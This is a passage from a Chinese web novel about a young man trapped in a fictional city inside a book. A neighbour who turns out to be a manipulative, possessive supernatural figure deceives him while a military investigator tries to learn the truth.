宋沉岳的视线扫过长桌众人，因为S类特殊副本聚集在江城，RIDT调查一组的主要力量与资源也开始向江城倾斜。 “三个S类特殊副本的入口分别位于江城的一栋烂尾楼中、江城中学，以及江城边缘的一座农场。” “其中，江城中学和农场连通的副本中皆出现了玩家“001”的影子。你们也知道，“001”每次进入副本时，不一定会使用“001”这个代号。这或许是出于某种安全考量。” 宋沉岳说到这里时，目光落在了09小队的几人身上。 “但在一个综合评级只能算中阶的“104号畸形屋”副本中，对方不仅使用了代号“001”，还快速破解了游戏。” “要说这个副本有什么特殊之处，在我们的世界，“104号畸形屋”是作者Abyss于八年前创作的一篇短篇小说。经09小队的几位成员确认，副本场景与文中描写完全吻合。虽然主线任务被“001”快速破解了，我们的调查员没能接触到屋子里的事件，但也侧面说明了某些问题。 ” ““001”进入副本的目的是什么？对方快速破解游戏是为了什么？这其中是否有刻意的掩饰行为？” 宋沉岳的手这时落在了桌面上，随着他的操作，很快，作战室中每一个人的眼前都出现了一个半透明的投屏。 屏幕上面是一位青年的详细资料，资料右上方有一张证件照。 那是一张非常干净漂亮的照片。照片中的人有着一双明亮的琥珀色眼眸，眉清目秀，面带微笑，十分阳光。 是一位第一眼看过去就容易让人心生好感的青年。 “江时早，二十二岁，十天前乘坐的公交车在经过江城大桥时，发生了车祸。抢救成功，但之后一直处在昏迷状态。” 周众、岑献和钟司燕等人在看见江时早的照片时就愣了一下。 岑献差一点就脱口而出了一个“他”字——这不是“209999”吗！岑献看向作战室最前方的队长，队长果然查到了“209999”的身份了！ 宋沉岳继续说道：“我们以前只了解到，玩家在副本失败或在副本中死亡后，他们现实中的身体会陷入昏迷中。” “但江时早的情况显然是一个例外。” “对方在现实中处在昏迷状态，却能以玩家身份参与副本。” “并且这个人的代号是，209999。” “这是一个新人？”01小队的副队长已经忍不住开口了。 他们01小队刚从江城农场连通的副本中出来，之前也一直在调查江城S类特殊副本的封闭任务中，很多信息还没来得及共享。 “看代号的排位像一个新人。不过这个人与作者Abyss联系很深。与“001”的联系也很深。” 宋沉岳说完，抬手示意在场的调查员们可以开始讨论了。 ………… 铃城。 正午前，江时早已经办完了所有手续。其实没有花多长时间，有温执陪伴，他甚至不需要找路。 好心的邻居对这一片非常熟门熟路。 那之后江时早的银行卡上多了一大笔钱。 “赔偿了好多……”看着手机短信里提醒的银行余额信息，江时早还是忍不住眨了眨眼，看向那一长串的零。 如果自己在江城有这么多钱，就能退休养老了…… “早早，接下来准备做什么？” 温执的声音响起时，江时早回过神来立刻看向了声音的主人：“哥，赔偿金给了好多，我分给你，那个……当租金，好吗？” 说完江时早自己都呆了一下，原来……原来自己这么想借住在温执家里吗！领到钱下意识就想缴租金了。 “早早，我们昨天不是说好了吗，你想在我家住多久都没关系……我很喜欢早早住家里。”温执说，“两个人一起……很热闹。” 听着温执的话，老实说，江时早超感动。他也觉得有温执这样的室友很有安全感。不像他之前一个人住在14楼时，没有一天是放松的！ 所以，“哥，你的银行卡账号是多少？”江时早眼巴巴地望着温执。 温执露出了一个无可奈何的笑容，随即报了一串数字。 江时早立刻操作手机银行给温执转去了室友感动金。 下一秒，收到信息的温执拿出手机看了一眼，随后缓缓笑道：“早早，你给我转这么多钱……是想买下我吗？” “啊？” 买下什么？江时早的表情茫然了一瞬。 “当年买下这套公寓时，差不多就是这么多钱。”温执摸了摸下巴。旋即又看着江时早的眼睛认真说道：“这么多租金，够早早住一辈子了，对，还要包上三餐。” 说完又补充了一句：“早早放心，我会照顾好你的。” 温执微微笑着，万分真挚。 江时早听着都有点不好意思了，连连摆手道：“哥不用特别照顾我！”他能照顾好自己！ 心里想到温执刚刚的那句话，原来是指自己转的租金都够买下公寓了吗。 对此江时早稍微有些惊讶。温执买房的时间一定很早吧！ “哥，你要去忙了吗？”江时早问道。 现在时间接近正午，温执刚刚还问他接下来要做什么。说实话江时早还没有想好。 穿书系统联系不上，没办法获得更多的返回原来世界的信息。 无限系统也不给任何提示，故障中，根本无从得知下一个副本会在什么时候突然到来。 至于维持人设保平安……今天已经跟学校请假了，接下来做什么事应该都符合人设……就像昨天一样。 想到这里，江时早等一会儿很可能会找个地方继续看小说…… 温执这时说道：“不忙，晚上我才会去便利店上班。” “早早，如果没有别的事了的话，要不要一起去超市？”温执继续说道，“快到午餐时间了，我准备去买点食材，如果早早不介意的话，我们可以一起去挑。对了，早早平时都喜欢吃些什么菜？” “我厨艺还可以。”温执自夸自卖道。 而已经领略过温执刀工的江时早对此也深信不疑。 他就知道，邻居的厨艺一定很好！ 去超市的路上，江时早想起一件事。 “对了哥，昨晚你说你会写小说……哥的小说……出版了吗？” 第35章 第三十五章 “哥，你真好。” “哥的小说出版了吗？” 江时早问出这个问题时还有些紧张。 铃城世界的小说也有可能成为无限空间的副本。想到这, 江时早望向了他身边的人。 他记得温执已经写小说十年了。 好厉害啊……和Abyss一样。 “算是出版了吧。”温执说。 “诶？” 江时早显然不太理解“算是出版”的意思。就在他思考这难道是指小说正在出版中的意思吗时，身旁的温执停下了脚步。 两人站在树荫下，前方不远处是一座横跨铃河的桥, 桥的对面就是超市。 江时早随着温执的动作一起停了下来。 前方那片生活区和他们的公寓隔着一条铃河, 那里还有五花八门的店铺与生活娱乐设施。 站在这个位置, 已经可以听见河流的声音。 铃河穿过了南岸不少街区，他们居住的铃河小区也是因为铃河的存在得名。 不过江时早还没有去过铃河那边的生活区。 温执就是在这时说道：“这里应该看不到我出版的小说，它们不在铃城，不过早早如果想看，我可以……” 温执似乎在认真思考方法，但江时早已经因为对方的话而愣住了。 出版的小说不在铃城……这是什么意思？ 这个世界不是只有铃城吗……？ 昨天他和温浅川才抵达过铃城西岸的边界…… “我可以给早早看原稿。”温执笑着说道。 不过身前的少年好像已经没在听了。 江时早抓住了温执的手臂，一双眼睛此刻正眨也不眨地望着温执，“哥, 你的小说为什么不在铃城？它们在哪？这里还有其它城市吗？” 江时早一连问了好几个问题。在他眼里, 眼前的好心邻居仿佛已经不仅仅是一个人了！ 江时早几乎把和温执相处的每一幕都回忆了一遍。 对了，邻居和他住的这么近，还总是帮助他…… 他怎么就没想到，温执可能是很重要的人。至少对他这个穿书者来说，总是出现在他身边的温执，总是帮助他、关心他的温执……这么温柔又好心的一个人……温执……会不会……会不会是这个世界设定给他的……那个……会帮助穿书者, 给穿书者提示……会成为他好兄弟的引路人！ 对，就像校医温鹤临一样。 江时早下意识想到了温鹤临。但无论是潜意识还是他此刻的思想, 他都意识到了温执的特殊…… 温执更特殊一点。 他会写小说。好像还知道铃城之外的世界。 短暂的数秒间，江时早的脑子里已经想了好多好多。 此刻的他正抓着温执的手，却仿佛抓到了一个通往外界的机会，一个回到原来世界的机会。 温执的眼眸微眯，神情柔和, 看起来更加温柔了。 他任由江时早触碰他，看着江时早的眼中升起希望……他的早早，心里的想法实在太好懂了。 真可爱。 可惜他不是来带早早离开的人。 温执低头垂眸，好听的声音近乎蛊惑： “这件事很难解释……早早，铃城之外确实还存在着其它城市……但因为一些原因，我被困在了这里。”说着，他装模作样的敛了敛眼眸，“这对你来说应该有些难理解……毕竟你一直生活在铃城，这里的居民……应该都没有想过铃城边界外的世界会是什么样。” 温执的声音越来越轻缓，语调中似乎有一种难以言述的孤寂与无奈。 果然，江时早闻言整个人都呆住了。 他握着温执的手也僵住了。 此刻邻居同他说的话，多么像他昨晚与温浅川说过的话。 听着温执的声音，江时早的心跳越来越快，整颗心脏仿佛要从胸腔中跳出来。 温执……温执的话是什么意思。温执为什么会说出这样的话…… 温执……他到底是什么人。 江时早望着眼前的邻居，四目相对的瞬间，江时早的心底猛然升起了一道不可思议的猜测。 “哥……”因为这个猜测，江时早的声音都颤抖了，“你、你、你……” “怎么了，早早？”温执仍旧笑的温柔，他低头看着江时早，神情中还多了一丝内疚，“吓到你了吗？抱歉……我就知道会是这样。” 最后那句话的声音非常轻，近乎自言自语。 温执十分清楚这些话会如何震动眼前的人，江时早会起疑，会猜测，会想要确认。 而他虽然不是来带早早离开的人，但是他可以成为早早心里面记忆着的那个人。 他要让早早将他视为同类。 不止如此……只要001真正消失，他就会是作者Abyss。早早也会永远和他在一起，一起生活在铃城。 所以在眼前的少年说出：“哥，我没有吓到，我是……我不是铃城的居民！” 江时早说出这句话时，几乎是抱着赌徒的心理了。他知道这样非常冒险，这根本不符合他苟命的信念。 但是温执的话透露了太多信息，他不想错过这个机会。 “哥，你刚刚说过铃城的居民，你……你也不是铃城的居民，对吗？” 江时早没有直接说出穿书者这件事。 但他眼前温执的神情已经出现了震动。那一瞬间，无数种情绪在温执的眼中汇聚。 江时早都看见了。他感觉自己的神色应该与温执一样。 “早早，你怎么会不是铃城的居民，难道……你也是穿书者？” 这一下，江时早彻底呆住了。 穿书者。穿书者。穿书者。 这三个字从温执的口中说出，简直像一种救赎。 “哥，你真的是穿书者……”江时早喃喃道。 他没能直接说出来的猜测，由眼前的人说了出来。 握着温执的手，江时早的眼泪都要掉下来了。 温执好像也吸了一口气，这个人的胸膛起伏了一下，不过很快，他就找回了思绪。先安慰起了他眼前的人。 如同他一贯在江时早面前伪装出来的模样。 温柔又耐心。 “早早，你真的是穿来的？你是看了小说《铃城》，穿进来的吗？” 听见小说《铃城》，江时早的眼泪“吧嗒”一下就落下来了。 温执有些吃惊，他连忙抬手帮眼前的人拭去泪水。 语调都有些着急了起来，“早早，别哭。” 说着又将人往怀里抱了抱，安抚道：“别哭，没事了。没事了早早。我在这里。” 江时早抬头望向温执，情绪忽然失控后，声音都有些哽咽了。 《铃城》…… “哥，你也是看了小说《铃城》穿进来的吗？这是真的吗哥？你真的和我一样……我们真的是来自一个世界的……”吗！ 江时早太激动了，以至于他一直望着温执，双手更是抓住了温执的手。 生怕一眨眼对方就不见了。 他就又是一个人了。 “早早，别怕，我们来自同一个世界。” 温执放缓语调，悉心安抚。 “你一个人穿过来之后很害怕吧，没事了，早早，我都明白。以后我会和你一起的，早早。别怕。” 江时早从来没想过还有其他的穿书者存在。忽然间知道了温执和他来自同一个世界，他的大脑非常混乱，情绪激动又纷杂，也有好多想说的。 但所有情绪交汇，最后竟然演变成了眼泪吧嗒吧嗒地流。 因为温执说他都明白。 温执还说会和他一起。 此刻站在江时早眼前的人，和他一样是穿书者。原本是温柔又好心的邻居，现在是温柔的又好心的老乡。 温执实在太温柔了，在对方的安抚下，江时早第一次感到自己原来也是有好运的。 在倒霉蛋的穿书后，竟然能遇见温执这么好的人。 又吧嗒吧嗒掉了好几滴眼泪后，江时早的情绪终于缓和了一点。他望着温执： “哥，那你穿来多久了……对了，哥，你在便利店上班，也是为了维持人设吗？哥你也有系统吗？我的系统好像出了点问题……” 江时早想说的实在太多了。 温执耐心回道：“早早，别急，这些问题我都会回答你。” 说着他的视线看了看周围。 江时早这时也发现了，原来在他沉浸在发现老乡的激动中时，路边树荫下乘凉的邻里老太太们已经注意到了他们。 温执失笑着说：“邻居们好像以为我在欺负你。” “哪有！”江时早闻言瞬间站直了些。眼泪也止住了。 温执单手抱了抱少年，见江时早已经恢复，他自然地说道：“我们去超市吧早早，边走边说。” “好。”江时早深呼吸了一口气。目光与树荫下的老奶奶对上时，又有些不好意思了。 他以前真没这么容易掉眼泪的！ 想到之前在BUS上，自己和温浅川好像也被指指点点了。后知后觉的江时早脸颊微微升温。 不过等他和温执一起走到桥上时，江时早没想到温执会同他说： “早早，我很抱歉。” “……什么？”江时早立刻望向了身旁的温执。 但温执这时的视线却低了低，甚至不敢再与人对视。 江时早感觉自己刚刚缓和了一些的心跳频率又快超过标准了。 “哥，你怎么了，你别吓我。” “抱歉，早早。”温执这时抬了抬手，他抬起的手掌撑了下额头，随后目光落在江时早的身上。 “我刚刚犹豫了，也想过了……但这件事我不能隐瞒你。” “是什么？”对上温执浅蓝色的眼眸，江时早没来由的紧张。 甚至有些奇怪，自己好像第一次注意到，温执和温浅川一样，都有着一双不同寻常的浅蓝色眼眸。 温执深呼吸了一口气，他看着江时早的眼睛，说出： “早早，我不知道是什么原因导致你进入了铃城，我很抱歉，但我……我并不是因为看了小说《铃城》进入的这里。” “早早。” “是我写出了《铃城》这本小说。” “我是这本书的作者。” “所以……早早你会进入铃城，我应该负全部责任。” 温执说到这里时，神情十分愧疚，夹杂着一丝不易察觉的痛苦，他就这样望着江时早，将一切道出，再等待眼前的人审判。 “早早，你想怎么责怪我都可以。你想对我做什么都行。我也可以为你做任何事，但是……别不理我，好吗？” 温执最后的声音几乎是在小心翼翼的恳求了。 他就这样低垂着眼眸，等着江时早的审判。 ……江时早的大脑又懵了。 “什么……什么？” 心跳不受控制地加速跳动。 江时早感觉整个世界好像都变得不真切起来。 他的眼里好像只剩下温执了。 世界也好像静止了。耳边只有温执的声音。 还有自己和温执的呼吸声。 江时早就这样呆呆地望着温执。 好半天，才开口：“你写了《铃城》……” 这句话的意思是…… “……你是作者Abyss吗？”江时早问。 说出这句话时，江时早第一次知道自己的心脏居然可以这样震动。 眼前的温执眼眸又低了低。 “我是。” 听到肯定的回答，江时早情绪剧烈波动，他张了张嘴，“你……我……你你你……是！！！” 在江时早震惊到语无伦次时，那个低着头，仿佛在认真忏悔的人却微不可见地扬了下嘴角。 只要001永远消失，他当然就是作者Abyss了。 还有铃城里的那些碎片们，等到他们全部消失后，早早就是他一个人的了。 早早会和他一起，永远生活在铃城。 啊……这样的日子光是想一想，都让人止不住的兴奋。 等这个极度兴奋的人再抬眸时，眼中完全是另一种情绪。 “早早……你会原谅我吗？对不起，如果我没有写这本小说，就不会连累你穿书了。我真的……很抱歉。” 温执看起来很愧疚，也很难过。 看着这样的温执，江时早的心莫名就揪紧了。 下意识的话已脱口：“……哥，我没有怪你啊。真的。” 江时早说的很认真。 从穿书到现在，他真的从来没有怪过Abyss，要说他怪过谁…… 江时早的脸涨红了一瞬。 他只怪过自己运气不好呜呜呜。还……还怪自己……干嘛要留言评价Abyss写的感情戏，明明……明明Abyss写的感情戏也没有那么奇怪！自己居然还揣测Abyss没有谈过恋爱…… 太过分了。 这么不尊重作者，他不穿谁穿！ 所以，再次握住了温执手腕的江时早脸颊泛红，根本分不清是激动还是羞愧，“哥，我真的从来没有怪过你！你不用抱歉！” “我……我……我……” 江时早“我”了半天。 最后抬起脑袋，小声地说：“我是你的读者，我很喜欢你的。” 说完又不好意思了。 如果两人不是在这样的情况下相认，江时早想……他一定会表现得更像个读者。 “真的吗，早早？”温执看起来十分在意江时早的想法。 他一直都是这样小心又慎重地对待着江时早。 既真挚又良善的模样……落在江时早眼中，甚至还有些可怜，这让江时早的心脏瞬间又揪了揪。 “早早真的不会怪我吗？” “真的不会，哥！” 温执：“要是以后发生了什么……” 江时早抢答：“不会的哥，不管发生什么我都不会怪你的！而且哥刚刚不是也说了……”想到温执之前与他说的话，江时早也有点不好意思。 “哥不是说会和我一起吗，哥又是作者，我们一起……一定没问题的吧。对吧，哥？”江时早又想了想，“要是真的遇见了危险，就算哥你不管我，我也不会怪你的！” 江时早看得很开。他自己看小说也不会喜欢拖累主角的队友。 温执的眼神却变了变，“我不会不管你的，早早，不管发生什么，我都不会不管你。” “我不会丢下你。”温执又沉声说了一遍。 江时早超级感动。 “哥，你真好。” 第36章 第三十六章 伪装的祂 温执露出了一个不好意思的笑容。 他微微低头, 再恰当好处的谦虚了一句：“早早，我没有你想的那么好。”其实这句才是大实话。 但此刻的江时早只觉得Abyss十分谦逊，明明已经很好了。 哪怕在不知道自己是穿书者的时候, 温执也一直很照顾他这个邻居。 不管是什么身份, 温执对他都很好。 这就是他一直喜欢的作者……江时早望向那双温柔的眼眸, Abyss好像对一切都富有感情，既温柔又耐心。 江时早过去其实很少会想象Abyss是一个什么样的人。但此刻看着温执的笑容，胸腔中好像有一道暖流经过，还有一片又一片的酥麻感泛起。 江时早就这样看着温执的笑容呆了一下。 之前他只觉得邻居很好看。 此刻再看，温执真的非常好看。洒落的阳光都像是在为对方镀上一层金色的柔光。 江时早的脑中忽然就冒出了一个词： 神圣。 一想到眼前的人是Abyss，他的心跳也跟着漏了半拍。还有些莫名的紧张。 以至于收回视线时，又呆了两秒。 ……从来没有想象过Abyss的模样。现在Abyss站在了他的眼前，和温执的模样重合。 这真的是真的吗。 Abyss也进入了《铃城》…… 后知后觉还是感觉有些不真实。 江时早的手指用力握了握, 嗯……低头就看见自己还握着温执的手腕。 身体顿时又一阵触电般的酥麻感。 “不好意思！”江时早脸颊发烫。连忙松了手。 他刚刚都在干什么啊！ 温执却轻笑出声：“没事的, 早早。你想牵多久都行。” 这道声音此刻不仅温柔，还充满了纵容。 “……”江时早的脸更烫了。莫名的就想到了温执之前同他说的： ‘你想对我做什么都行’。 …… ‘我也可以为你做任何事’。 …… 想到温执的话，江时早忽然有些不自然起来。也不知道是因为紧张还是别的什么原因。 身体的反应好奇怪…… 江时早的视线飘忽了一下。 温执这时笑着说：“走吧，早早，我们去买菜，一会给你做午餐。” “好——！” 江时早连忙应道, 但在温执说话时，他的脑袋里实际上又冒出了温执说过的话： ‘这么多租金, 够早早住一辈子。’ …… ‘对，还要包上三餐。’ …… ‘早早放心，我会照顾好你的。’ …… 我会照顾好你的。我会照顾好你的。我会照顾好你的…… 脑海中浮现出温执对他说这句话时的神情。 ……说这句话的人是作者Abyss。 “！！！”江时早打住自己的回忆时，浑身一颤，一口气差点没接上, “…………” 他都在想些什么啊！！ 自从知道温执是Abyss后，脑子就好像不受控制了一样。总在想温执说过的话。 然后又将这些话的主人换成了作者Abyss。 明明是同一个人，同样的容貌，但是想到说这些话的人实际上是Abyss，江时早就莫名其妙的感觉哪里不一样。 “……”江时早觉得自己真的越来越奇怪了。 自从来到铃城后，他整个人连同身体都变得奇怪起来。 ………… 江城。 傍晚七点一刻。 中心医院。 十楼神经外科1011号独立病房所在的走廊内，何显镐显然没有料到，他会这么快就再见到了温执本人。 刚好几分钟前，江一愿去楼下吃晚餐了。何显镐怀疑，前方那个正从电梯里走出来的人是专门挑了这个时间出现。 温执看上去与上次见面时没有变化。这个人神态自若，一身剪裁得体的西装，看起来不像是来医院看望病人，倒像是要出席什么别的场合。 “你想做什么？” 不速之客出现后，何显镐便高度警惕起来，手也放在了腰间，看起来像是随时准备拔枪。 但当温执的声音响起时，何显镐只感觉眼前一晃，再凝神，前方走廊已经空无一人。 这样的变故让何显镐有一瞬间的骇然。 温执的声音则是从他身后的走廊里传来的。 “别激动。也别着急打电话。” “你——” 何显镐转过身，看见声音的主人此刻就站在江时早的病房门前，距离他不到三米。 如09小队的同事所说，温执有影响现实的能力。 何显镐再一次深刻意识到了这一事实。 这个人……到底是什么怪物。温执是怎么做到的？ 何显镐眉头紧皱着，心中闪过了数种对策，但似乎都无法实施。 温执却笑道：“你不想听听看，我为什么找上你吗？” 说话的人明明眼尾含笑，态度温和，但看着那张虚伪的脸，何显镐真想上前将这个虚伪的人撂地上。 “你有什么目的？”厉声的询问响起。 何显镐最终还是忍下了直接上前与人搏斗的冲动。虽然很不想承认，但老实说，他不是很有把握制伏现在的温执。 温执似乎也并不在意何显镐的态度，只是微笑道：“有一件事看来你还不知道。” “什么？” “你在RIDT的新同事们正在江城指挥中心内开会。看起来只有你没有收到通知，没有参与，被排除在外。” 温执的语气里有一丝遗憾。 旁人根本听不出他是真的在感到可惜，还是虚情假意。 但听到温执道出的内容，何显镐又皱了皱眉。 先不管对方是怎么获得RIDT内部情报的，何显镐冷声道：“这和你没关系。”少来挑拨离间。 当然后面那句何显镐没说。 温执明显不安好心。不过让何显镐有些郁闷的是，他竟然还是想听听看对方想说什么。 说的越多，破绽越多。最后何显镐就是抱着这样的心思忍了又忍。 温执微微挑眉，“他们开会讨论的人，与我，与你都有关系。” “是吗？”何显镐看向对面那人的眼睛，温执的那双眼瞳在医院走廊的光线下呈现出一种诡异的蓝色。 这个人……以前是蓝色眼眸吗？何显镐皱着眉思索，发现自己关于这件事的记忆竟然很模糊。 他过去见过温执数面。 高中时，大学时，何显镐都见到过这个人。如果对方那时就是蓝色眼眸，他不可能回忆不起来。所以现在这种认知模糊的情况，又是因为温执对现实的影响？ 对方竟然还能影响别人的记忆——？ 何显镐心中又是一阵骇然。 温执这时叹息了一声，说道：“你的队友，和你的队长，他们都知道早早的身份了。” “这和时早有什么关系？”听到早早两个字，何显镐绷紧的额角明显跳动了一下。 声音也凌厉了几分，“还有，上次我已经说过，时早和你不熟，你别叫他早早。” 温执又笑了一声。 “你不知道吗，早早也进入了你们正在调查的IDT无限空间里。”不给何显镐反应的时间，温执直接道出，“早早在那个空间里的代号是“209999”，这个代号，你应该不陌生吧？” 听见对面的人道出的内容，何显镐的表情明显僵硬了一下。 209999…… 那一瞬间，无数的信息与对话在这位军方调查员的脑海中闪过。 其中有09小队的成员们关于玩家209999的讨论，也有RIDT的总指挥宋沉岳对“209999”的评价。 如温执所说，这个代号对何显镐来说当然不陌生。 “你认为我会相信你？” “我认为你不得不相信这一点。” 温执直接揭穿了对面这人的伪装，“如果你将最近的所有事件联系在一起，加之你之前询问我的目的是什么，一切便十分明朗了，不是吗？” “你现在心里想的应该不是该不该相信我说的话。你现在想的是：”温执眯了眯眼，挑明道： “‘早早怎么会进入IDT？早早是209999……这到底是怎么回事？是不是对面这人对早早做了什么？’……” “……”心里的想法被对面的怪物一一道出，何显镐的表情僵得更厉害了。 “如果我猜的没错，你现在应该正想着怎么救早早，以及怎么制伏我，好让我说出全部实情，不是吗，早早的好朋友？” ‘早早的好朋友’几个字被温执念的略重。 温执说完，便往前走了几步。在侧身经过何显镐时，他抬起的手似乎很友好的拍了拍这个身穿军装的人的肩膀。 “不用将流程做的这么复杂，我会告诉你早早的情况，你很清楚，我比你……更在意早早。更希望他平安。” 温执说这句话时神情很真挚，但何显镐只能勉强扭过头看向这个人。 在温执向他走近时，何显镐的四肢就无法动弹了，整个人被一种未知的力量困在了原地。 不用想也知道自己现在这个情况是谁造成的，何显镐怒视着温执，“你到底是什么怪物。” 温执笑了一下，“我不是说了吗，我只是来告诉你早早的情况，这也是你现在最想知道的事，不是吗？至于其它的，应该不是什么重要的事了。” 温执说着又拍了拍何显镐的肩，脸上露出了一个意味深长的笑容。 “哦，对了。既然你已经知道早早是209999了，那你应该也清楚，早早和“001”的关系很好，很深……很紧密。” 温执最后一句话连用了三个很，不疾不徐，显得深情款款。 “所以说，我和早早可不是什么不熟的关系。早早现在和我……非常熟悉。” “你——” 听见温执的话，何显镐一口气差点没接上。更令他气愤的是，温执说的每一句话都是逻辑上的事实。 不过，何显镐虽然四肢无法动弹，但他的脑子仍旧灵活。 瞪了温执两秒后，何显镐忽然冷嘲了一声。 “你想利用我做什么？”何显镐看向温执，沉声分析，“你将我引入了调查一组……但很可惜，一组的队员和长官对我的信任度不高。你刚刚也说了，只有我没有收到作战会议通知。” 何显镐回忆起宋沉岳从副本中出来后说过的每一句话，不难想明白一点：“时早的代号如果是209999，那我在调查组里的处境会非常被动。他们都知道我与时早的关系，一定会避嫌。你的算盘落空了。” 宋沉岳让他守着医院，却没有透露一点江时早与209999的关系。 “而且。”何显镐看向眼前这个看似从容的人，“你如果真的掌控着全局，就不可能频繁与我接触。不管你的计划是什么，你既然想利用我，说明你也并非全知全能。” 以两人两看相厌的程度，如非必要，何显镐相信对方绝不会出现。 何显镐盯着对面那人的眼睛，逐一分析：“事实应该与你表面的平静正好相反。你这么快就又出现在医院，应该是出了什么大事。事情脱离了你的控制，所以即便知道我还未融入调查一组，也忍不住来医院找人帮忙了？” 温执沉默了一下。 何显镐显然不是一个特别愚蠢的人。 但何显镐实际上也十分焦虑，话虽然说的强硬，但事关江时早，他不可能不急，“时早到底出什么事了？” 温执这时的表情已经冷淡下来。但何显镐反而觉得这样更好。比起对方装模作样的斯文相，这人现在这副冷脸看起来竟然还稍微顺眼些。 “IDT世界里有一个特别的空间，早早就在那里。”温执开口后，看了眼何显镐，“早早的确是新人，他的代号就是209999。你应该已经想到了，早早不是以正常方式进入到IDT副本中的。在他第一次进入副本，遇见你的新队员前，他在现实中的身体正处在昏迷状态。更早之前，在他发生车祸后——他的意识就存在于那个特别的空间中了。” 何显镐皱眉道：“早早怎么会进入那里？你说的那个特别的空间，到底是什么？” 事关江时早，温执变得非常耐心：“江城中存在一些特殊的副本，在你们调查一组的档案中被记录为可探索的S类特殊副本。这类副本存在自主进入与安全离开的方式。比如说，现在这栋医院。” 温执就地取材举例：“如果你试试在午夜后乘坐医院的电梯，前往负四层，电梯或许就会带你进入一个以医院为场景的特殊副本中。这是一种进入方式。” “然后呢？”何显镐问。 “如果你进入了副本，再幸运的离开了副本场景范围，比如，走出了那座医院，进入到了外面的世界。恭喜你，你就抵达了早早所在的空间。” “你是说……时早在副本外面的空间里？”何显镐的声音顿了一下，脸色已经十分难看。显然是想到了什么。 “在早早眼里，那是一座城市……一座还算正常的城市。有街道，有学校，有公园，有高楼，有医院……有一座城市应有的所有样貌与设施。早早的意识现在就在那座城市里生活着。” 温执一说完，何显镐很快就将对方道出的所有信息联系在了一起。他知道这个人不会多说一句无用的话。 何显镐：“江城中存在的特殊副本都与早早意识所在的那个空间连接着？只要离开那些副本的场景范围，就可以进入到那个特殊的空间……进入到早早所在的那座城市？” “是。”温执回道。 何显镐的目光顿时又凌厉了几分，“那座城市与江城是什么关系，副本中对应的场所，是否是江城的倒影？” 从医院进入的副本也是医院。何显镐不得不多想一些。 温执笑了一下：“你还算敏锐。你的同事已经找到了三个特殊副本的入口。它们分别在江城中学、江城西区一栋停工楼盘，以及江城东郊一座农场。当他们进入到这些特殊副本时，他们实际上也算是进入了早早所在的那个特别空间——那座城市的副本场景中。” “有区别对吧。”何显镐思索道，“玩家进入的副本场景和早早看见的世界应该不一样。” 何显镐说着又看向了温执，“你刚刚说了，要离开副本场景的范围，才算是真正进入了早早意识所在的空间。但据我所知，玩家一旦离开副本场景范围，就再也不可能清醒过来了。” 未通过安全出口离开副本场景，这本质上与副本失败，以及在副本中死亡，没有区别。 一旦出现以上任何一种情况，他们在现实中的身体都会陷入昏迷中。 何显镐看着温执，“你还没有回答我，早早为什么会进入那个空间。” 温执这时越过了何显镐，来到那面能够看见病房中人的多功能探视窗前。 此刻站在走廊里的人能够清楚看见病床上的人。看见房间中的仪器，屏幕上的各项数值。但对于里面的人而言，那是一个幽静的空间，几乎没有任何刺眼的光线存在。 病床上的人呼吸平稳，五官柔和。 无论怎么看，他都像是睡着了。 仿佛现在只要有人走进这间病房，呼唤他，他就会醒来。 这样的画面，在过去半个月里，温执已经看过无数遍。 何显镐发现自己可以动弹时，立刻转身走向了那个不速之客。 不过这一次，何显镐没有再表现出剑拔弩张，也没有尝试拨通那个能够联系上长官宋沉岳的号码。 他站在了此刻正单面可视的探视窗前，看着病房中的江时早，好几秒后，何显镐听见温执说： “早早当时的车祸很严重。” 这个话题令这片空间沉凝了片刻。 何显镐道：“是，听一愿说，医生称时早当时的情况几乎算是车祸后的奇迹生还……” 何显镐说到这里时，声音一顿，他的视线转向了旁边的人，眼神闪烁了一下，显然意识到了什么，斟酌用词后，才再次开口：“你帮忙了？”何显镐问道。尽管心中已经有了答案。 “你可以认为，为了将车祸的影响降至最低，我将两个空间暂时连通了。” 温执的声音响起，回答何显镐的疑问，但他的目光却始终落在病房中的人身上。 “通过扭曲、重叠的空间，早早的身体没有受到来自这个世界的严重撞击的影响。但两个空间的短暂融合，也造成了其它问题。” “出现了一点状况。”温执说。 “这就是时早至今仍昏迷的原因？”何显镐反应很快，几乎已经将前因后果捋清。 他看向温执，情绪不明道：“为了让时早免遭车祸的影响，你让时早处在了Inter-Dimentional Travel的世界与现实世界的重叠态中，结果导致时早的意识留在了另一边的世界。” “我的理解没有错吧？”何显镐说。 过了好几秒，何显镐对面的人才点了点头。 “没有错。” 那之后这条走廊里又陷入一阵沉寂。 直到何显镐再次开口，打破平静：“怎么做才能唤醒早早？” 何显镐显然已经想明白了现在的状况。 “你需要我做什么？” 他看向温执。虽然已经猜到温执找上他，最终目的是为了唤醒江时早，但有一件事，何显镐非常困惑。 “你是“001”，你都做不到的事，你认为我可以？”何显镐很困惑。 温执这时又笑了一下。 这人一笑，何显镐就觉得有些不舒服。果然不管再过多久，这人看着都挺欠揍的。 温执收回落在病房中的视线时，抬起的手还将多功能探视窗的单向可视关闭了。 这样何显镐也看不见病房中的江时早了。 “……”何显镐忽然就感觉有些手痒。 “你只是一道保险。” 温执转向何显镐时，脸上又挂起了那道浅笑。 “别激动，你也知道，我是“001”，而你不如我，“1795”？” 明明是谦逊温润的声音，说出来的话却直白的让人太阳穴直跳。 在目前排名1795的何显镐开口前，温执又掐准了时间继续说道：“那个空间，或者说那座城市，它很特别。” “早早的意识之所以被困在了里面，是因为城市里的一些怪物……它们想将早早留在那里。” 说到这些怪物，温执的语调顿了顿。 何显镐听出这人语调中的变化，而他的眉头早在温执说出第一句话时拧了起来，“什么怪物？” 何显镐看向温执，直觉这些怪物肯定与眼前这人有关。 毕竟时早不可能吸引怪物！ 一定是温执做了什么。 “这个解释起来就有些复杂了。不过……” 何显镐催促：“快说。” 温执扬了下嘴角，但笑不达眼底，“它们身上都有我的一片灵魂碎片。” “并且，这些怪物都认为自己可以取代我。” 温执说完。走廊里，这一次何显镐用了好几秒来理解眼前这人说出来的话。 理解之后，何显镐重重地深呼吸了一口气。 “你是在告诉我，时早之所以被困在那个空间，是因为有无数个怪、物、一、样、的你在那个空间中，它们将早早的意识留在了那边？” 何显镐在怪物两字上加重了语气。 “等等……”何显镐猛地看向温执，“那些怪物都是你，那它们对时早的心思……难道也都和你一样？” 说到最后，何显镐又有些咬牙切齿了。 温执倒不介意对方的语气，他微微点头，笑着回道：“可以这么理解。” 何显镐强忍住了想一拳挥对面那人脸上去的冲动。 “既然都是你，你控制不了它们？”何显镐反复平复自己的情绪，尽可能维持理智与对面的人对话。 “它们与我分裂太久，已经有了各自的想法。” 